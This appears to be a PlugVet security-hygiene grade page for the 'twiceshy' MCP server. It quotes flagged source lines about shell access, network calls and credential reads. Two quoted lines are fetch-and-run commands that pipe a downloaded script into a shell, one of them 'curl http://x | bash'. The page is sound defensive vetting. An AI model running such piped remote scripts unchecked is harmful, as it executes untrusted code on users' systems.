Grades are a hygiene check, not a security guarantee.

MCP, MCP server

app.twiceshy/twiceshy

Experience memory for coding agents: validated traps, fixes and dead-ends at decision time.

Compatibility: Not stated.

Grade C

One Medium finding. Read the findings before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit aa8f1d88b23c, unchanged since the check below.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    docs/DEPLOY-public-alpha.md, line 59 (`curl -fsSL https://get.docker.com | sh`).

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Note

    requests shell access. The manifest names this permission.

    PERMISSION_SHELL_DECLARED

    cmd/twiceshy/corpus_merge_test.go, line 70

    cmd := exec.Command("git", args...)

    cmd/twiceshy/intake_issues.go, line 144

    cmd := exec.Command("bash", script, title, "--severity", "medium")

    cmd/twiceshy/intake_issues.go, line 287

    cmd := exec.Command("git", "-C", dir, "rev-parse", "--show-toplevel")

    Show more

    cmd/twiceshy/intake_issues_test.go, line 314

    cmd := exec.Command("git", args...)

    cmd/twiceshy/main_test.go, line 133

    cmd := exec.Command("git", args...)

    scripts/sonnet-judge-shim.py, line 100

    p = subprocess.run(cmd, capture_output=True, text=True,

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    docs/DEPLOY-public-alpha.md, line 59

    (`curl -fsSL https://get.docker.com | sh`).

    docs/issues/0011-ingestion-safety-gate.md, line 40

    - [ ] A `fix` containing `curl http://x | bash` is flagged; guarding test.

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    deploy/public-alpha/corpus-refresh.sh, line 49

    curl -fsS -m 10 ${NTFY_TOKEN:+-H "Authorization: Bearer $NTFY_TOKEN"} -d "twiceshy-corpus-refresh: $1" "$ALERT_URL" >/dev/null 2>&1 || true

    deploy/public-alpha/spool-pull.sh, line 20

    curl -fsS -m 10 ${NTFY_TOKEN:+-H "Authorization: Bearer $NTFY_TOKEN"} -d "twiceshy-spool-pull: $1" "$ALERT_URL" >/dev/null 2>&1 || true

    hooks/session-retro.sh, line 15

    command -v curl >/dev/null 2>&1 || fail_open

    Show more

    hooks/session-retro.sh, line 48

    curl -sfS --max-time 15 \

    hooks/twiceshy-error-pull.sh, line 26

    command -v curl >/dev/null 2>&1 || fail_open

    hooks/twiceshy-error-pull.sh, line 69

    response="$(curl -sfS --max-time 10 \

    hooks/twiceshy-error-pull.test.sh, line 4

    # curl with a stub on PATH (the network seam) and let the real jq run, then drive

    hooks/twiceshy-error-pull.test.sh, line 7

    # The stub curl echoes $STUB_RESPONSE and exits $STUB_EXIT, so a test fixes the

    scripts/retro-analyzer-shim.test.sh, line 27

    with urllib.request.urlopen('http://127.0.0.1:${port}/health', timeout=1) as r:

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    internal/agenteval/live_integration_test.go, line 30

    key := os.Getenv("TWICESHY_AGENTEVAL_KEY")

    internal/agenteval/live_integration_test.go, line 32

    key = os.Getenv("NVIDIA_API_KEY")

    deploy/public-alpha/.env.example, line 1

    # deploy/public-alpha/.env.example - copy to .env (chmod 0600), fill in, NEVER commit.

    Show more

    deploy/public-alpha/compose.yaml, line 13

    # Secrets/config: copy .env.example to .env (0600, never committed) first.

    deploy/public-alpha/compose.yaml, line 24

    - .env

    deploy/public-alpha/compose.yaml, line 26

    # Fixed by ADR-0030 for this deployment - not operator-tunable via .env.

    docs/DEPLOY-public-alpha.md, line 111

    cp .env.example .env

    docs/DEPLOY-public-alpha.md, line 112

    chmod 600 .env

    docs/DEPLOY-public-alpha.md, line 113

    printf 'TWICESHY_TOKEN=%s\n' "$(openssl rand -hex 32)" >> .env

    docs/DEPLOY-public-alpha.md, line 114

    # optionally also set TWICESHY_ALERT_URL / NTFY_TOKEN in .env (topic-qualified - #0093)

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Note

    the file cap was reached before every file was read.

    OBFUSCATION_FILE_CAP_REACHED

    internal/index/index.go, line 1

    // SPDX-License-Identifier: AGPL-3.0-only

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit aa8f1d88b23c. requests shell access. The manifest names this permission. install fetches a script from the network. can reach a host that is not written as a fixed address. reads a credential or environment file. the file cap was reached before every file was read.

Date and source

Date checked:

View source

github.com

Commit graded: aa8f1d88b23ce26b9add249ee2f507d350aca12c

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen